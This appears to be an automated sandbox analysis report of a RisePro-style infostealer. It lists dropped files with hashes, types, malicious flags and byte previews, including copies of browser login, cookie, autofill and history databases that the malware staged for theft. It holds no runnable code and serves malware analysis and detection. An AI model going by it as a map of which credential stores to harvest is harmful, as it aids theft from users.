SSDEEP:	48:ivuz1hEU3FR/pmqBl8/QMCBaquEMx5BC+SS4k+bkguj0KHc:bz1eEFNcqBC/Qrex5iSKDkc
MD5:	0EE914C6F0BB93996C75941E1AD629C6
SHA1:	12E2CB05506EE3E82046C41510F39A258A5E5549
SHA-256:	4DC09BAC0613590F1FAC8771D18AF5BE25A1E1CB8FDBF4031AA364F3057E74A2
SHA-512:	A899519E78125C69DC40F7E371310516CF8FAA69E3B3FF747E0DDF461F34E50A9FF331AB53B4D07BB45465039E8EBA2EE4684B3EE56987977AE8C7721751F5F9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................H................\|.......\|.......\|......Rich............PE..L....M;J..................................... ....@..........................@..............................................l ..P....0..@............................................................................ ..D............................text............................... ..`.rdata....... ......................@..@.rsrc...@....0......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-TJ8RT.tmp\_isetup\_iscrypt.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2560
Entropy (8bit):	2.8818118453929262
Encrypted:	false
SSDEEP:	24:e1GSgDIX566lIB6SXvVmMPUjvhBrDsqZ:SgDKRlVImgUNBsG
MD5:	A69559718AB506675E907FE49DEB71E9
SHA1:	BC8F404FFDB1960B50C12FF9413C893B56F2E36F
SHA-256:	2F6294F9AA09F59A574B5DCD33BE54E16B39377984F3D5658CDA44950FA0F8FC
SHA-512:	E52E0AA7FE3F79E36330C455D944653D449BA05B2F9ABEE0914A0910C3452CFA679A40441F9AC696B3CCF9445CBB85095747E86153402FC362BB30AC08249A63
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........W.c.W.c.W.c...>.T.c.W.b.V.c.R.<.V.c.R.?.V.c.R.9.V.c.RichW.c.........................PE..L....b.@...........!......................... ...............................@......................................p ..}.... ..(............................0....................................................... ...............................text............................... ..`.rdata....... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-TJ8RT.tmp\_isetup\_isdecmp.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	13312
Entropy (8bit):	5.745960477552938
Encrypted:	false
SSDEEP:	384:BXvhMwoSitz/bjx7yxnbdn+EHvbsHoOODCg:BZ7FEAbd+EDsIO
MD5:	A813D18268AFFD4763DDE940246DC7E5
SHA1:	C7366E1FD925C17CC6068001BD38EAEF5B42852F
SHA-256:	E19781AABE466DD8779CB9C8FA41BBB73375447066BB34E876CF388A6ED63C64
SHA-512:	B310ED4CD2E94381C00A6A370FCB7CC867EBE425D705B69CAAAAFFDAFBAB91F72D357966916053E72E68ECF712F2AF7585500C58BB53EC3E1D539179FCB45FB4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........I...(...(...(..n ..(...(...(...$..(...$..(...$..(..Rich.(..................PE..L......B...........!..... ..........p........0....P..........................P.......................................;.......;..(............................@.......0...............................................0...............................text............ .................. ..`.rdata.......0.......$..............@..@.reloc.......@.......2..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-TJ8RT.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.215994423157539
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12pS5SKvkc:sfJEVYlvxaX12EF
MD5:	4FF75F505FDDCC6A9AE62216446205D9
SHA1:	EFE32D504CE72F32E92DCF01AA2752B04D81A342
SHA-256:	A4C86FC4836AC728D7BD96E7915090FD59521A9E74F1D06EF8E5A47C8695FD81
SHA-512:	BA0469851438212D19906D6DA8C4AE95FF1C0711A095D9F21F13530A6B8B21C3ACBB0FF55EDB8A35B41C1A9A342F5D3421C00BA395BC13BB1EF5902B979CE824
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d...XW:J..........#............................@.............................`..............................................................<!.......P..@....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...@....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-TJ8RT.tmp\_isetup\_shfoldr.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	23312
Entropy (8bit):	4.596242908851566
Encrypted:	false
SSDEEP:	384:+Vm08QoKkiWZ76UJuP71W55iWHHoSHigH2euwsHTGHVb+VHHmnH+aHjHqLHxmoq1:2m08QotiCjJuPGw4
MD5:	92DC6EF532FBB4A5C3201469A5B5EB63
SHA1:	3E89FF837147C16B4E41C30D6C796374E0B8E62C
SHA-256:	9884E9D1B4F8A873CCBD81F8AD0AE257776D2348D027D811A56475E028360D87
SHA-512:	9908E573921D5DBC3454A1C0A6C969AB8A81CC2E8B5385391D46B1A738FB06A76AA3282E0E58D0D2FFA6F27C85668CD5178E1500B8A39B1BBAE04366AE6A86D3
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......IzJ^..$...$...$...%.".$.T87...$.[."...$...$...$.Rich..$.........................PE..L.....\;...........#..... ...4.......'.......0.....q....................................................................k...l)..<....@.../...................p..T....................................................................................text...{........ .................. ..`.data...\....0.......&..............@....rsrc..../...@...0...(..............@..@.reloc.......p.......X..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\katDE8F.tmp

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\YsL35EpGrjU1rZchKY2714UT.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	881664
Entropy (8bit):	6.555251818096116
Encrypted:	false
SSDEEP:	24576:o0ESdQpglO1CxDyawn27h+9hrlgKQY9SGcZwCdTp:o0RIglO1CuL9VNcaCd9
MD5:	66064DBDB70A5EB15EBF3BF65ABA254B
SHA1:	0284FD320F99F62ACA800FB1251EFF4C31EC4ED7
SHA-256:	6A94DBDA2DD1EDCFF2331061D65E1BAF09D4861CC7BA590C5EC754F3AC96A795
SHA-512:	B05C6C09AE7372C381FBA591C3CB13A69A2451B9D38DA1A95AAC89413D7438083475D06796ACB5440CD6EC65B030C9FA6CBDAA0D2FE91A926BAE6499C360F17F
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*............................0.............@..............................................@..............................2'...........................@..p............................0......................................................CODE....d........................... ..`DATA................................@...BSS......................................idata..2'.......(..................@....tls......... ...........................rdata.......0......................@..P.reloc..p....@......................@..P.rsrc...............................@..P.....................t..............@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\pd2rJiO.cpl

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2461696
Entropy (8bit):	7.9678020855638225
Encrypted:	false
SSDEEP:	49152:8sN+Ok9NWe6je6jobdui5T8arIJ+Bbt0FDMgU0s1JDyt14z:8sNMnJ6jHIdNTtI8A+gts1JDee
MD5:	E3CFCA89EB26D59810BE6BE8166CDD62
SHA1:	53961B4C1D547104FA149A1DDA314499A4874D28
SHA-256:	2F3A61AAA8AEA8382265DA4A410473243C65179AC96CCB12607DD966B834FFB5
SHA-512:	71B5F3898A38638F6E10E2632BEC58491EC40901B06569F87CC9F6EA98B7357B502977AD021458278D65B3235BEE5E2B7AB821BB036748F4D31DCE6F00B7E044
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@.......................................Z..5.e.f.e.f.e.fx..fSe.f..Nfwe.f.;.gCe.f..f.e.f.>2f)e.f..ff.e.f.<.gOe.f9..f.e.f..Nf.e.fc..fae.f...fte.f.>.g5e.fp8.g)e.f...f1e.f..2fQe.f...f7e.f.7If!e.f...f.e.f...f=e.f9..f'e.fq.WfUe.f..f^e.fx..fPe.f...fse.fq.ff(e.f..f.e.f...gne.f...gNe.fq.Vf+e.f;.,f8e.f9..fje.f.e.f.d.f..ff5e.fRich.e.f....................................PE..L....Bp7...........!.....@...P...............P................................%......Z&..............................#.l.....#.<.....%.p.....................%..r......8............................................P..........`....................text....6.......@.................. ..`.rdata..<S...P...`...P..............@..@.data....E....#..@....#.............@....rsrc...p.....%.......$.............@..@.reloc.......%.......%.............@..B....................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\rage131MP.tmp

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.8150724101159437
Encrypted:	false
SSDEEP:	3:LL0UbXn:FXn
MD5:	79FBCA1CEB6241B469BEA67D38A47C15
SHA1:	40BD5BA1038D0E20AD8A99E1277E01A15B337C7D
SHA-256:	472476F1869F167C4EC16EA494E22C320D281647BB69D1DD9A029BBA71FF1359
SHA-512:	C2120E18FF1913E2A5A34854A8956337736F6CA8F67CE54778631E0934DAB1D0FEAEA04F01FA04ABA5494AD8C8CE9F0EB2B2E50D359162A271CF445DF403BB74
Malicious:	false
Reputation:	unknown
Preview:	1716554813935

C:\Users\user\AppData\Local\Temp\rnzwrdDu3PH9Qq9rPTBAGEw.zip

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	676770
Entropy (8bit):	7.9978787749407925
Encrypted:	true
SSDEEP:	12288:PunUGp87dTir6j0WrDcDajxmDOxirFYsdKi5O3j1J4nkZ8tP5O8hjR:PV57YTR4ix1x5fksPr
MD5:	03AEA476979FD9298D55A79C8CB4289E
SHA1:	482EB99CC7E0198762F52609318088268C479FCA
SHA-256:	4FE58F7564FAFD9E376BF379624785D3087B205C44BDDE5B8D5391F4B0351B75
SHA-512:	FF6B347AEF6CCF01AE80DC967FCFBD45CBA51F7E83B6654F205526BCCD001113A0F919A592BE0DF6EFD6F984DF616EDD32F9148E39EE150D1627E5989975C029
Malicious:	true
Yara Hits:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: C:\Users\user\AppData\Local\Temp\rnzwrdDu3PH9Qq9rPTBAGEw.zip, Author: Joe Security
Reputation:	unknown
Preview:	PK........P=.X................Cookies\..PK........P=.XQn.+............Cookies\Chrome_Default.txt.G..r...U.#.5C.....s$..-.D...7.\..$.G.)o....:....Z.C.f_..pm............"..t..t....}.k.@...a.2+P`.0.x.>....s..k%.._..b..P..((......B.....`.7..-m..JY..F....E..l.....I..&.....<J..M.......,V...)b.....Q..k......M?.5L....h}......X..'.0..tB.G...\;.a....4.......B4.......J.4.6.y:....4.-.UfE...3Ap.U5UX....Z.g:e.j.C..Bw..........e..a^.vU:....$..U......B..`._.e.....+...9.{u...7.e...H.]02...%yR".0...x...P<..N....R.}....{.G...;..c..x...kw.'S>.d\|.....B..k.9.t.!>.rh...~n.[....s#/....`.!..Kb8%&.vZB`....O\|.....>K......L...d0..03..t...T&.......`N.xp.."..J.......Q.....c..5...).Z.91.6.j..G.....Wr...a.52!..(^.U.....6....dB.D.^...7..0H.\J9.H.$^`e"..d...\....B.8Z=.qeP.3Y.>..'W.X..T..>z...,..K......g....%B.w4#...;.[]u\|....v...3.;L..U?..b.....u....... .......F...P.a...\|R3.=......r.:.64...#D..^..>.A..ZT.]E........t...f...1..3.....`...X.....C.]%...p.p.ym

C:\Users\user\AppData\Local\Temp\spanCc4sVxQypGO1\02zdBXl47cvzcookies.sqlite

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanCc4sVxQypGO1\3J5MVNE6cdFTLogin Data For Account

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanCc4sVxQypGO1\3b6N2Xdh3CYwplaces.sqlite

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanCc4sVxQypGO1\D87fZN3R3jFeplaces.sqlite

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanCc4sVxQypGO1\Kwv2GFzKnXlOWeb Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanCc4sVxQypGO1\T8huZHhXSvWECookies

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanCc4sVxQypGO1\VJAhcZnIA9DsHistory

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanCc4sVxQypGO1\_C51ZpizTWoRWeb Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanCc4sVxQypGO1\gSH0JiWsPvv3Web Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanCc4sVxQypGO1\hW4LL7EPu6ODWeb Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanCc4sVxQypGO1\iBLrzwmT7NChLogin Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanCc4sVxQypGO1\iVAz2jIqutGVWeb Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanCc4sVxQypGO1\lgNmdbLvnnxdHistory

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanCc4sVxQypGO1\oxmhfXIxSJa8Login Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
